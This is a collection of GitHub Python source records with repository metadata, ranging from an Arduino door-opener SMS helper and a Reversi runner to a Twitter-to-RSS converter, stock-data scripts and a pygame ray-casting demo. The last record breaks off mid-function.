send_text(msg, to_num):\n client = TwilioRestClient(TWILIO_SID, TWILIO_AUTH_TOKEN)\n\n message = client.sms.messages.create( body=msg, \n to='+'+to_num, \n from_=\"+16198412130\")\n try:\n print('message sent: {}'.format(message.sid))\n except TwilioRestException:\n print('message could not be delivered')\n\n# send_text(\"someone is waiting: https://www.filepicker.io/api/file/PblYN4wQJ2mc3t1QopwJ text 'open' to open, or 352 to add this user\", \"18584058087\")\n\ndef google_shorten_url(url):\n post_url = 'https://www.googleapis.com/urlshortener/v1/url'\n payload = {'longUrl': url}\n headers = {'content-type': 'application/json'}\n r = requests.post(post_url, data=json.dumps(payload), headers=headers)\n return json.loads(r.text).get('id')\n\ndef find(pattern, path):\n \"\"\"\n From Nadia Alramli's answer: http://stackoverflow.com/questions/1724693/find-a-file-in-python\n \"\"\"\n result = []\n for root, dirs, files in os.walk(path):\n for name in files:\n if fnmatch.fnmatch(name, pattern):\n result.append(os.path.join(root, name))\n return result\n\ndef find_serial_interface():\n possibilities = find('tty.usbmodem*', '/dev/')\n if not possibilities:\n raise Exception(\"Can't find any serial usb modems\")\n elif len(possibilities) == 1:\n return possibilities[0]\n else:\n for i, f in enumerate(possibilities):\n print('[{}] {}'.format(i, f))\n idx = int(input('Which file # is correct? '))\n return possibilities[idx]\n\ndef connect_to_arduino():\n com_interface = find_serial_interface()\n print(\"com_interface: {}\".format(com_interface))\n try:\n SERIAL_CONNECTION[0] = serial.Serial(com_interface, BAUD_RATE)\n except:\n print(\"couldn't connect to arduino\")\n SERIAL_CONNECTION[0] = None\n time.sleep(2)\n\n\n# robot parts\ndef open_door_async():\n thr = threading.Thread(target=open_door, args=(), kwargs={})\n thr.start()\n\ndef open_door():\n # open for 5 seconds\n try:\n SERIAL_CONNECTION[0].write('o')\n time.sleep(5)\n SERIAL_CONNECTION[0].write('c')\n except:\n print(\"attempting to reconnect to arduino\")\n connect_to_arduino()\n open_door()","repo_name":"adamreis/DANIEL-server","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40907775292","text":"# Assume s is a string of lower case characters.\n#\n# Write a program that counts up the number of vowels contained in the string s. Valid vowels are: 'a', 'e', 'i', 'o', and 'u'.\n# For example, if s = 'azcbobobegghakl', your program should print:\n#\n# Number of vowels: 5\n\ns = 'azcbobobegghakl'\ncount = 0\nfor c in s:\n if(c == 'a' or c == 'e' or c == 'i' or c == 'o' or c == 'u'):\n count += 1\n\nprint('Number of vowels:', count)\n","repo_name":"VasuGoel/mitx-6.00.1x","sub_path":"Problem Sets/ps1/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"2506252723","text":"from cli import CLI\nfrom board import Board\nfrom manager import Manager\nfrom disk import Disk\nfrom abstract_player import AbstractPlayer\nfrom random_player import RandomPlayer\nfrom human_player import HumanPlayer\nfrom simple_player import SimplePlayer\nfrom minimax_player import Player02\n\nclass Runner:\n \"\"\"runs the game\"\"\"\n def __init__(self, board_size=8, player1_type=HumanPlayer, player2_type=HumanPlayer):\n self.console = CLI()\n self.board = Board(board_size)\n self.manager = Manager()\n\n self.p1 = player1_type(Disk.DARK)\n if issubclass(player1_type, HumanPlayer):\n self.p1.set_console(self.console)\n if issubclass(player1_type, SimplePlayer):\n self.p1.set_manager(self.manager)\n if issubclass(player1_type, Player02):\n self.p1.set_minimax_variables(self.manager)\n\n self.p2 = player2_type(Disk.LIGHT)\n if issubclass(player2_type, HumanPlayer):\n self.p2.set_console(self.console)\n if issubclass(player2_type, SimplePlayer) or issubclass(player2_type, Player02):\n self.p2.set_manager(self.manager)\n if issubclass(player2_type, Player02):\n self.p2.set_minimax_variables(self.manager)\n\n self.current_player = self.p1\n\n def run_game(self):\n console = self.console\n board = self.board\n man = self.manager\n\n # console.display_board(board)\n # console.newline()\n\n while True:\n moves = man.get_possible_moves(board, self.current_player.color)\n if moves is None:\n self.switch_player()\n moves = man.get_possible_moves(board, self.current_player.color)\n if moves is None:\n break\n\n move = self.current_player.get_move(board, moves)\n man.play_move(board, move, self.current_player.color)\n # self.console.display_board(board)\n # console.newline()\n self.switch_player()\n\n message, winner = self.evaluate_game()\n print(message)\n return winner\n\n def switch_player(self):\n \"\"\"switches the current player\"\"\"\n if self.current_player == self.p1:\n self.current_player = self.p2\n else:\n self.current_player = self.p1\n\n def evaluate_game(self):\n \"\"\"\n run after the game is over\n :returns a string containing the result\n \"\"\"\n points = self.board.stats()\n points_p1, points_p2 = points[self.p1.color], points[self.p2.color]\n message = f\"{self.p1}:{points_p1} --- {self.p2}:{points_p2}\\n\"\n if points_p1 > points_p2:\n message += f\"{self.p1} WINS\"\n winner = self.p1.color\n elif points_p1 < points_p2:\n message += f\"{self.p2} WINS\"\n winner = self.p2.color\n else:\n message += f\"It's a DRAW'\"\n winner = None\n\n return message, winner\n\n","repo_name":"OmriZedan/reversi","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45240289284","text":"import sys\nimport json\nimport requests\ndef fetch(domain):\n\tgrid={}\n\tre=''\n\ttry:\n\t\tre=requests.get(\"https://xkcd.com/info.0.json\")\n\texcept:\n\t\tprint(\"Failed\")\n\t\treturn \n\tobj=json.loads(re.text)\n\ttotal_comics=obj[\"num\"]\n\twhile total_comics >0:\n\t\tprint(total_comics)\n\t\ttry:\n\t\t\tre=requests.get((\"http://xkcd.com/%d/info.0.json\")%total_comics)\n\t\texcept:\n\t\t\tprint(\"Probably Network connection Error \")\n\t\t\tcontinue\n\t\ttry:\n\t\t\tobj=json.loads(re.text)\n\t\texcept:\n\t\t\ttotal_comics=total_comics-1\n\t\t\tcontinue\n\t\ttitle=obj[\"title\"]\n\t\timg_url=obj[\"img\"]\n\t\tprint(title+\" : \"+img_url)\n\t\tgrid[title.lower()]=img_url\n\t\tgrid[total_comics]=img_url\n\t\ttotal_comics=total_comics-1;\n\t\t#print(grid)\n\ttext=json.dumps(grid)\n\tf=open(domain+\"/xkcd.txt\",'w')\n\tf.write(text)\n\tf.close()\n\n\n\n\nif __name__==\"__main__\":\n\tif len(sys.argv)<2:\n\t\tprint(\"Tell me the domain name plzzz\")\n\telse:\n\t\tfetch(sys.argv[1])","repo_name":"botshala/XKCD_Pr","sub_path":"fb_chatbot/xkcl_data_fetch.py","file_name":"xkcl_data_fetch.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15869666856","text":"import numpy as np\nimport pandas as pd\nimport yfinance as yf\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error, r2_score\n# Import the warnings module to handle warning messages\nimport warnings\n\n# Ignore warning messages\nwarnings.filterwarnings(\"ignore\")\n\n\n# Download historical stock price data for a given ticker symbol (e.g., Apple)\nticker_symbol = 'AAPL'\ndata = yf.download(ticker_symbol, start='2020-01-01', end='2023-01-01')\n\n# Use adjusted closing prices as the target variable\ny = data['Adj Close']\n\n# Create features (X) for this example; you can define them as needed\n# For instance, in this example, we're using random values as features.\nX = pd.DataFrame({'Feature1': range(len(y)), 'Feature2': range(len(y) - 1, -1, -1), 'Feature3': np.random.rand(len(y))})\n\n# Split the data into training and testing sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# Create and train a Linear Regression model\nmodel = LinearRegression()\nmodel.fit(X_train, y_train)\n\n# Make predictions on the test set\ny_pred = model.predict(X_test)\n\n# Evaluate the model's performance\n\n# Calculate Mean Squared Error (MSE) to measure the average squared difference between actual and predicted values.\nmse = mean_squared_error(y_test, y_pred)\n\n# Calculate Coefficient of Determination (R-squared) to measure the goodness of fit of the model.\nr2 = r2_score(y_test, y_pred)\n\n# Print the performance metrics\nprint(f\"Mean Squared Error (MSE): {mse:.2f}\")\nprint(f\"Coefficient of Determination (R^2): {r2:.2f}\")\n\n# Allow the user to input values for making a prediction\nvalor1 = float(input(\"Enter value 1: \")) # Enter the first value\nvalor2 = float(input(\"Enter value 2: \")) # Enter the second value\nvalor3 = float(input(\"Enter value 3: \")) # Enter the third value\n\n# Use the trained model to make predictions with the user-entered values\nnew_features = np.array([[valor1, valor2, valor3]])\nprediction = model.predict(new_features)\n\n# Explain what valor1, valor2, and valor3 could represent\n# These values could represent various factors or indicators that affect the stock price.\n# For example, valor1 might represent trading volume, valor2 could represent market sentiment,\n# and valor3 might represent a financial metric like the price-to-earnings ratio.\n# These are just hypothetical examples; you should use meaningful features based on your analysis.\nprint(f\"Predicted stock price: {prediction[0]:.2f}\")\n","repo_name":"wencio/pythonscikitpriceprediction","sub_path":"pythonscikitpriceprediction.py","file_name":"pythonscikitpriceprediction.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23323455107","text":"# -*- coding: utf-8 -*-\nimport tweepy\nimport PyRSS2Gen\nimport os\nfrom urlparse import urlparse\n\nfrom config import *\n\ndef recursive_link_extractor(url, n_deep = 5):\n \"\"\"\n Returns an HTML-formatted string following links in case they are\n references to other tweets (and returns a reference to the last\n tweet in the chain).\n \n Inputs:\n - url: the url to process\n \n Output:\n - text: HTML formatted string.\n \"\"\"\n \n original_url = url\n ref_tweet = None\n ref_text = None\n \n origin = urlparse(url).netloc\n\n while (origin == \"www.twitter.com\" or origin == \"twitter.com\") \\\n and url and n_deep > 0:\n \n ref_tweet = url\n ref_text, media_link, url = get_single_link(url) \n if url:\n origin = urlparse(url).netloc\n n_deep = n_deep - 1\n \n # If we found some link, let's format it and return.\n # If there was nothing, or we reached the bottom of the allowed\n # depth and didn't find anything, return the original link in its\n # original form but write the text of the last retrieved one, if\n # present.\n if not url and ref_text:\n text = '
  • %s: %s' % \\\n (ref_tweet, ref_tweet, ref_text)\n if media_link:\n text += '

  • ' % \\\n (media_link, media_link)\n else:\n text += \"\"\n elif not url or not ref_tweet or n_deep == 0:\n text = '
  • %s
  • ' % (original_url, original_url)\n else:\n text = '
  • %s (from %s: %s)' % \\\n (url, url, ref_tweet, ref_tweet, ref_text)\n if media_link:\n text += '

  • ' % \\\n (media_link, media_link)\n else:\n text += \"\"\n \n return(text)\n \ndef get_single_link(tweet_url):\n \"\"\"\n Gets the first link from the tweet_url passed as argument.\n \n Inputs:\n - tweet_url: a Twitter UrL\n \n Outputs:\n - The tweet text and the first link contained within this status message.\n \"\"\"\n \n global api\n \n # Get tweet id\n tweet_id = urlparse(tweet_url).path.split(\"/\")[-1]\n \n # Careful, this can be a search string or something different from the\n # numerical ID we are looking for\n try:\n tweet_id = int(tweet_id)\n status = api.get_status(tweet_id)\n except:\n return None, None, None\n\n if 'media' in status.entities and status.entities['media']:\n media_link = status.entities['media'][0]['media_url']\n else:\n media_link = None\n \n if status.entities['urls']:\n return (status.text, media_link, \n status.entities['urls'][0]['expanded_url'])\n else:\n return status.text, media_link, None\n \n \n\ndef generate_html(screen_name, text, urls, tweet_url, tweet_id, image):\n \"\"\"\n Generates a very simple HTML output with the text of the tweet\n and the URLs, if present.\n\n Inputs:\n - screen_name: the screen name of the user tweeting this status\n - text: a string with the text of the tweet.\n - urls: a list containing the URLs linked in the tweet. Can be None.\n - tweet_url: the URL of the original tweet\n - tweet_id: the string representation of the tweet ID.\n - image: the URL for the image linked in the tweet. Can be None.\n\n Output:\n - text: HTML formatted string.\n \"\"\"\n text = '@%s: %s' % (tweet_url, screen_name, text)\n if urls:\n text += \"

    Referenced URLs:

      \"\n for url in urls:\n text += recursive_link_extractor(url)\n text += \"
    \"\n if image:\n text += '

    ' % (image, image)\n # Add retweet link\n text += 'Retweet'\\\n % tweet_id\n return(text)\n\ndef process_tweet_items(list_items):\n \"\"\"\n Generates a list of dictionaries with selected elements\n from the tweet items.\n\n Inputs:\n - list_items: a list of statuses.\n\n Ouputs:\n - res: a list of dictionaries containing selected fields\n and transformations.\n \"\"\"\n res = []\n for l in list_items:\n urls = [x['expanded_url'] for x in l.entities['urls']] \\\n if l.entities['urls'] else None\n image = l.entities['media'][0]['media_url'] \\\n if 'media' in l.entities and l.entities['media'] else None\n tweet_url = \"https://www.twitter.com/%s/status/%s\" % \\\n (l.user.screen_name, l.id_str)\n text_html = generate_html(l.user.screen_name, l.text, urls, \n tweet_url, l.id_str, image)\n d = dict(user = l.user.name,\n screen_name = l.user.screen_name,\n created_at = l.created_at,\n text = l.text,\n text_html = text_html,\n urls = urls,\n image = image,\n source_url = l.source_url)\n if (not only_links or (only_links and urls)) \\\n and links_allowed(urls):\n res.append(d)\n return(res)\n\ndef links_allowed(urls):\n \"\"\"\n Returns whether all urls are allowed or any contains a forbidden domain\n \"\"\"\n\n match = any([any([urlparse(x).netloc.endswith(fd) \\\n for fd in forbidden_domains]) \\\n for x in urls])\n return not match\n \ndef tweet_to_rss_item(tweet_data):\n \"\"\"\n Converts a single tweet to an RSS item.\n\n Inputs:\n - tweet_data: a dictionary with selected status fields, coming\n from process_tweet_items().\n\n Outputs:\n - rss_item: a properly formatted PyRSS2Gen.RSSItem object.\n \"\"\"\n link = tweet_data['urls'][0] if tweet_data['urls'] else tweet_data['source_url']\n title = \"@%s: %s\" % (tweet_data['screen_name'], tweet_data['text'])\n rss_item = PyRSS2Gen.RSSItem(title = title,\n link = link,\n guid = PyRSS2Gen.Guid(link),\n pubDate = tweet_data['created_at'],\n description = tweet_data['text_html'])\n return(rss_item)\n\ndef process_rss(data, path, trigger):\n \"\"\"\n Processes a list of status messages and writes the corresponding RSS file.\n\n Inputs:\n - data: a list of dictionaries coming from process_tweet_items().\n - path: the path to save the file to.\n - trigger: the parameters used to obtain the list of tweets. It will\n be either a 2-tuple (for a user / list pair) or a search\n string.\n\n Outputs:\n Doesn't return anything, just writes the RSS data to file.\n \"\"\"\n \n if len(trigger) == 2:\n title = \"List %s from user %s\" % (l[1], l[0])\n else:\n title = \"Search %s\" % s\n \n last_date = max([x['created_at'] for x in data])\n \n rss = PyRSS2Gen.RSS2(title = title,\n link = \"\",\n lastBuildDate = last_date,\n description = \"\",\n items = map(tweet_to_rss_item, data))\n \n with open(path, \"w\") as f:\n rss.write_xml(f)\n\napi = None\n\nif __name__ == \"__main__\":\n \n # Get the authenticated API\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tweepy.API(auth)\n \n # Are we using a prefix? Get the lists that match, then \n if prefix:\n my_user = api.me().screen_name\n mylists = api.me().lists()\n for ml in mylists:\n if ml.name.find(prefix) == 0:\n get_lists.append((my_user, ml.name))\n \n # Process each list in the following way:\n # But first remove any potential duplicate\n get_lists = set(get_lists)\n \n for l in get_lists:\n list_data = tweepy.Cursor(api.list_timeline, l[0], l[1]).items(n_items)\n list_data = process_tweet_items(list_data)\n list_path = os.path.join(output_folder, \"%s_%s.xml\" % \\\n (l[0].lower(), l[1].lower()))\n process_rss(list_data, list_path, l)\n \n # Same thing for searches\n for s in get_searches:\n search_data = tweepy.Cursor(api.search, s).items(n_items)\n search_data = process_tweet_items(search_data)\n search_path = os.path.join(output_folder, \"search_%s.xml\" %\\\n s.lower().replace(\" \", \"_\"))\n a = process_rss(search_data, search_path, s)\n \n","repo_name":"rinze/twitterlists2rss","sub_path":"twitterlists2rss.py","file_name":"twitterlists2rss.py","file_ext":"py","file_size_in_byte":8653,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"71725248786","text":"\"\"\"\n统计字符串中的单词个数,这里的单词指的是连续的不是空格的字符。\n\n请注意,你可以假定字符串里不包括任何不可打印的字符。\n\n示例:\n\n输入: \"Hello, my name is John\"\n输出: 5\n解释: 这里的单词是指连续的不是空格的字符,所以 \"Hello,\" 算作 1 个单词。\n\n\"\"\"\n\n\nclass Solution(object):\n def countSegments(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n\n if not s and len(s) == 0:\n return 0\n\n p = 0\n count = 0\n\n # 去掉前面空格,移动到第一个单词\n while p < len(s) and s[p] == \" \":\n p += 1\n\n while p < len(s):\n count += 1\n # s[p]在单词里的话,则继续移动p\n while p < len(s) and s[p] != \" \":\n p += 1\n\n # s[p]不在单词里,移动p\n while p < len(s) and s[p] == \" \":\n p += 1\n\n return count","repo_name":"Andrewlearning/Leetcoding","sub_path":"leetcode/String/434m. 字符串中的单词数.py","file_name":"434m. 字符串中的单词数.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10793335726","text":"\"\"\"Contains general abstract or base classes used across configuration objects.\"\"\"\nfrom abc import ABC\nfrom typing import Optional\n\nfrom great_expectations.types import SerializableDictDot\n\n\nclass AbstractConfig(ABC, SerializableDictDot):\n \"\"\"Abstract base class for Config objects. Sets the fields that must be included on a Config.\"\"\"\n\n def __init__(self, id_: Optional[str] = None, name: Optional[str] = None) -> None:\n # Note: name and id are optional currently to avoid updating all documentation within\n # the scope of this work.\n if id_ is not None:\n self.id_ = id_\n if name is not None:\n self.name = name\n super().__init__()\n","repo_name":"franciscojavierarceo/Python","sub_path":"demos/great-expectations/venv/lib/python3.8/site-packages/great_expectations/core/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"36669282234","text":"import yfinance as yf\r\nfrom datetime import datetime, timedelta\r\n\r\nclass StockData:\r\n def __init__(self, stock_ids:list, exchange:str=\"USDTWD=X\", n_day:int=14,start_date:str=\"\", end_date:str=\"\", candle_by:bool=False):\r\n # candle_by = True 代表以\"收盤開盤價\"作為計算方式\r\n # candle_by = False 代表以\"最高最低價\"作為計算方式\r\n self.stock_ids = [f\"{id}.TW\" for id in stock_ids]\r\n days_to_subtract = n_day + (n_day // 5 * 2) # Add 2 weekend days for each week\r\n # Adjust for weekends if necessary\r\n current_weekday = datetime.today().weekday()\r\n days_to_subtract += 2 if current_weekday < n_day % 5 else 0\r\n previous_day = datetime.today() - timedelta(days=days_to_subtract)\r\n self.start_date = start_date if start_date else previous_day.strftime('%Y-%m-%d')\r\n self.end_date = end_date if end_date else datetime.now().strftime(\"%Y-%m-%d\")\r\n self.candle_by = candle_by\r\n self.exchange = exchange\r\n # Type: {stock_id(str): data(pd.DataFrame)}\r\n self.stock_datas = dict()\r\n # 美元兌換台幣的匯率\r\n self.exchange_data = None\r\n # 儲存每個股票的價格漲跌幅度\r\n self.stock_price_extends = dict()\r\n # 儲存每個股票的成交量變化率\r\n self.stock_volume_extends = dict()\r\n # 標準化後股票價格漲跌幅度的平均值\r\n self.stock_avg_price_normalized = 0\r\n # 標準化後股票成交量變化率的平均值\r\n self.stock_avg_volume_normalized = 0\r\n # 標準化後外匯價格漲跌幅度的平均值\r\n self.exchange_rate_normalized = 0\r\n\r\n self.done = False\r\n\r\n self.download_data()\r\n \r\n def get_normalized_data(self):\r\n # return [stock_price_normalized, stock_volume_normalized, exchange_rate_normalized]\r\n if self.done:\r\n return [self.stock_avg_price_normalized, self.stock_avg_volume_normalized, self.exchange_rate_normalized]\r\n else:\r\n return [None,None,None]\r\n\r\n def download_data(self):\r\n # download stock data\r\n for id in self.stock_ids:\r\n data = yf.download(id,start=self.start_date, end=self.end_date)\r\n if not data.empty:\r\n data = data[data['Open'] != 0]\r\n data = data[data['High'] != 0]\r\n data = data[data['Low'] != 0]\r\n data = data[data['Close'] != 0]\r\n data = data[data['Volume'] != 0]\r\n self.stock_datas[id] = data\r\n else:\r\n self.stock_datas.pop(id, None)\r\n # download exchange data\r\n self.exchange_data = yf.download(self.exchange, start=self.start_date, end=self.end_date)\r\n\r\n self.normalized_extend()\r\n\r\n def normalized_extend(self):\r\n # 計算股價波動性、成交量變化率、外匯波動性\r\n # STOCK\r\n price_record = []\r\n volume_record = []\r\n\r\n for id in self.stock_datas.keys():\r\n data = self.stock_datas[id]\r\n\r\n close_price = data['Close'].tolist()\r\n high_price = data['High'].tolist()\r\n low_price = data['Low'].tolist()\r\n\r\n if self.candle_by:\r\n # 價格波動幅度 = (當日收盤價 - 昨日收盤價) / 昨日收盤價 * 100\r\n price_changes = [(close_price[i] - close_price[i-1]) / close_price[i-1] * 100 for i in range(1, len(data))]\r\n else:\r\n # 價格波動幅度 = (最高價 - 最低價) / 最低價 * 100\r\n price_changes = [(high_price[i] - low_price[i]) / low_price[i] * 100 for i in range(1, len(data))]\r\n \r\n # 找出最大最小值\r\n max_value = max(price_changes)\r\n min_value = min(price_changes)\r\n # 標準化每一個幅度\r\n price_extend = [(x - min_value) / (max_value - min_value) * 100 for x in price_changes]\r\n # 平均結果\r\n price_extend = sum(price_extend) / len(price_extend)\r\n \r\n self.stock_price_extends[id] = price_extend\r\n\r\n # 紀錄幅度\r\n price_record.append(price_extend)\r\n\r\n # 成交量變化率\r\n volume = data['Volume'].tolist()\r\n volume_changes = [(volume[i] - volume[i-1]) / volume[i-1] * 100 for i in range(1, len(data))]\r\n # 找出最大最小值\r\n max_value = max(volume_changes)\r\n min_value = min(volume_changes)\r\n # 標準化每一個變化\r\n volume_extend = [(x - min_value) / (max_value - min_value) * 100 for x in volume_changes]\r\n # 平均結果\r\n volume_extend = sum(volume_extend) / len(volume_extend)\r\n\r\n self.stock_volume_extends[id] = volume_extend\r\n\r\n # 紀錄變化\r\n volume_record.append(volume_extend)\r\n \r\n # 計算每個股票結果的平均值\r\n self.stock_avg_price_normalized = sum(price_record) / len(price_record)\r\n self.stock_avg_volume_normalized = sum(volume_record) / len(volume_record)\r\n\r\n # EXCHANGE\r\n # 外匯變化\r\n data = self.exchange_data\r\n close_price = data['Close'].tolist()\r\n high_price = data['High'].tolist()\r\n low_price = data['Low'].tolist()\r\n\r\n if self.candle_by:\r\n # 價格波動幅度 = (當日收盤價 - 昨日收盤價) / 昨日收盤價 * 100\r\n exchange_changes = [(close_price[i] / close_price[i-1] - 1) * 100 for i in range(1, len(data))]\r\n else:\r\n # 價格波動幅度 = (最高價 - 最低價) / 最低價 * 100\r\n exchange_changes = [(high_price[i] - low_price[i]) / low_price[i] * 100 for i in range(1, len(data))]\r\n\r\n # 找出最大最小值\r\n max_value = max(exchange_changes)\r\n min_value = min(exchange_changes)\r\n # 標準化每一個幅度\r\n price_extend = [(x - min_value) / (max_value - min_value) * 100 for x in exchange_changes]\r\n # 平均結果\r\n self.exchange_rate_normalized = 100 - sum(price_extend) / len(price_extend)\r\n\r\n self.done = True\r\n \r\nif __name__ == \"__main__\":\r\n file_name = 'taiwan_nas99.csv'\r\n targets = [_.strip() for _ in open(file_name,'r')]\r\n # 下跌\r\n #'2021-12-07'\r\n sd = StockData(targets,start_date='2022-08-18',end_date='2022-10-26',candle_by=False)\r\n # 上升\r\n #sd = StockData(targets,start_date='2022-10-28',end_date='2022-12-01',candle_by=False)\r\n #sd = StockData(targets,n_day=14,candle_by=False)\r\n stock_price_normalized, stock_volume_normalized, exchange_rate_normalized = None, None, None\r\n while True:\r\n if sd.done:\r\n stock_price_normalized, stock_volume_normalized, exchange_rate_normalized = sd.get_normalized_data()\r\n break\r\n print('stock_price_normalized:',stock_price_normalized)\r\n print('stock_volume_normalized:',stock_volume_normalized)\r\n print('exchange_rate_normalized:',exchange_rate_normalized)","repo_name":"ZerolBozi/greed-fear-project","sub_path":"StockData.py","file_name":"StockData.py","file_ext":"py","file_size_in_byte":7049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"458473940","text":"import os\n# PIL : Python Imaging Library\nfrom PIL import Image\n\n# 获取目录下文件名\nos.chdir('assets')\nfiles = os.listdir()\n# 图标大小\nsize = (256, 256)\n\n# 给图标文件单独创建一个icon目录\nif not os.path.exists('icon'):\n os.mkdir('icon')\n\nfor in_name in files:\n # 分离文件名与扩展名\n tmp = os.path.splitext(in_name)\n # 因为python文件跟图片在同目录,所以需要判断一下\n if tmp[1] == '.png':\n out_name = tmp[0] + '.ico'\n try:\n # 打开图片并设置大小\n im = Image.open(in_name).resize(size)\n # 图标文件保存至icon目录\n path = os.path.join('icon', out_name)\n im.save(path)\n\n print('{} --> {}'.format(in_name, out_name))\n except IOError:\n print('connot convert :', in_name)\n","repo_name":"caorushizi/utils","sub_path":"convert_icon.py","file_name":"convert_icon.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22527303943","text":"import plotly.graph_objects as go\nimport numpy as np\n\n\nfig = go.Figure(\n data=[\n go.Mesh3d(\n # 8 vertices of a cube\n x=[0, 0, 1, 1, 0, 0, 1, 1],\n y=[0, 1, 1, 0, 0, 1, 1, 0],\n z=[0, 0, 0, 0, 1, 1, 1, 1],\n colorbar_title=\"z\",\n colorscale=[[0, \"gold\"], [0.5, \"mediumturquoise\"], [1, \"magenta\"]],\n # Intensity of each vertex, which will be interpolated and color-coded\n intensity=np.linspace(0, 1, 8, endpoint=True),\n # i, j and k give the vertices of triangles\n i=[100, 0, 0, 0, 4, 4, 6, 6, 4, 0, 3, 2],\n j=[3, 4, 1, 2, 5, 6, 5, 2, 0, 1, 6, 3],\n k=[0, 7, 2, 3, 6, 7, 1, 1, 5, 5, 7, 6],\n name=\"y\",\n showscale=True,\n )\n ]\n)\n\nfig.show()\nif __name__ == \"__main__\":\n app.run_server(debug=True, port=8051) # or whatever you choose\n","repo_name":"rafaelmarino/aoc2021","sub_path":"extras/day22_plotly.py","file_name":"day22_plotly.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29958006695","text":"#! /usr/bin/python3\n\nfrom math import pi\n\nimport pygame\nfrom pygame.locals import *\n\nfrom ray_cast_engine import RayCastEngine, Player\n\nfrom labyrinth import laby\n\nfrom blocks import *\n\nMAP = [\n [wall((0, 0, 255)), wall((0, 0, 255)), wall(\n (0, 255, 0)), wall((0, 0, 255))],\n [wall((0, 0, 255)), EMPTY, EMPTY, wall((0, 0, 255))],\n [wall((0, 0, 255)), wall((0, 0, 255)), wall(\n (0, 0, 255)), wall((0, 0, 255))],\n]\n\n\nclass App:\n\n def __init__(self):\n self.window = pygame.display.set_mode((0, 0), FULLSCREEN)\n pygame.mouse.set_visible(False)\n pygame.key.set_repeat(5, 5)\n self.player = Player((BLOCK_WIDTH * 1.5, BLOCK_WIDTH * 1.5), 277)\n self.engine = RayCastEngine(self.player, laby((30, 30)))\n self.running = True\n self.font = pygame.font.SysFont(\"Comic Sans MS\", 30)\n\n def on_event(self, e):\n if e.type == QUIT:\n self.running = False\n elif e.type == KEYDOWN:\n if e.key == K_ESCAPE:\n self.running = False\n if e.key == K_q:\n self.player.turn_left(pi / 12)\n elif e.key == K_s:\n self.player.turn_right(pi / 12)\n elif e.key == K_a:\n self.player.dist_cam -= 5\n if self.player.dist_cam < 1:\n self.player.dist_cam = 1\n elif e.key == K_z:\n self.player.dist_cam += 5\n elif e.key == K_LEFT:\n self.player.scroll_left(5)\n elif e.key == K_RIGHT:\n self.player.scroll_right(5)\n elif e.key == K_UP:\n self.player.forward(5)\n elif e.key == K_DOWN:\n self.player.backward(5)\n elif e.key == K_e:\n self.engine.column_width -= 1\n if self.engine.column_width <= 0:\n self.engine.column_width = 1\n elif e.key == K_r:\n self.engine.column_width += 1\n elif e.key == K_f:\n self.engine.fish_eye = not self.engine.fish_eye\n\n def on_render(self):\n pygame.draw.rect(\n self.window, (0, 0, 0), (0, 0, self.window.get_width(), self.window.get_height()))\n self.engine.on_render(self.window)\n self.window.blit(self.font.render(\n \"angle : \" + str(self.player.angle), False, (255, 255, 255)), (0, 0))\n self.window.blit(self.font.render(\n \"distance camera : \" + str(self.player.dist_cam), False, (255, 255, 255)), (0, 30))\n self.window.blit(self.font.render(\n \"position : \" + str((int(self.player.x), int(self.player.y))), False, (255, 255, 255)), (0, 60))\n self.window.blit(self.font.render(\n \"largeur colonne : \" + str(self.engine.column_width) + \" px\", False, (255, 255, 255)), (0, 90))\n if self.engine.fish_eye:\n self.window.blit(self.font.render(\"Fish-eye activé\", False, (255, 255, 255)), (0, 120))\n else:\n self.window.blit(self.font.render(\"Fish-eye désactivé\", False, (255, 255, 255)), (0, 120))\n\n def on_mainloop(self):\n while self.running:\n for event in pygame.event.get():\n self.on_event(event)\n self.on_render()\n pygame.display.flip()\n # pygame.time.Clock().tick(20)\n","repo_name":"Klafyvel/RayCasting","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"35791575662","text":"#동물의 수, 사대의수, 사정거리\n#:\nimport sys\n\nM, N, L = list(map(int, sys.stdin.readline().strip().split()))\ngun_x = list(map(int, sys.stdin.readline().strip().split()))\npoint = []\nfor i in range(N):\n point.append(list(map(int, sys.stdin.readline().strip().split())))\n\n#동물의 위치에서 사대까지의 거리를 생각\n#x좌표를 기준으로 정렬을 해야함 \n#해당 동물과 사대간의 거리를 알아야겠고 \npoint.sort(key = lambda axis : axis[0])\ngun_x.sort()\n#x값 기준으로 정렬 \n\ndef animal_search():\n count = 0\n for ani in point:\n start, end = 0, len(gun_x) - 1\n while start < end:\n mid = (start + end) // 2\n if gun_x[mid] < 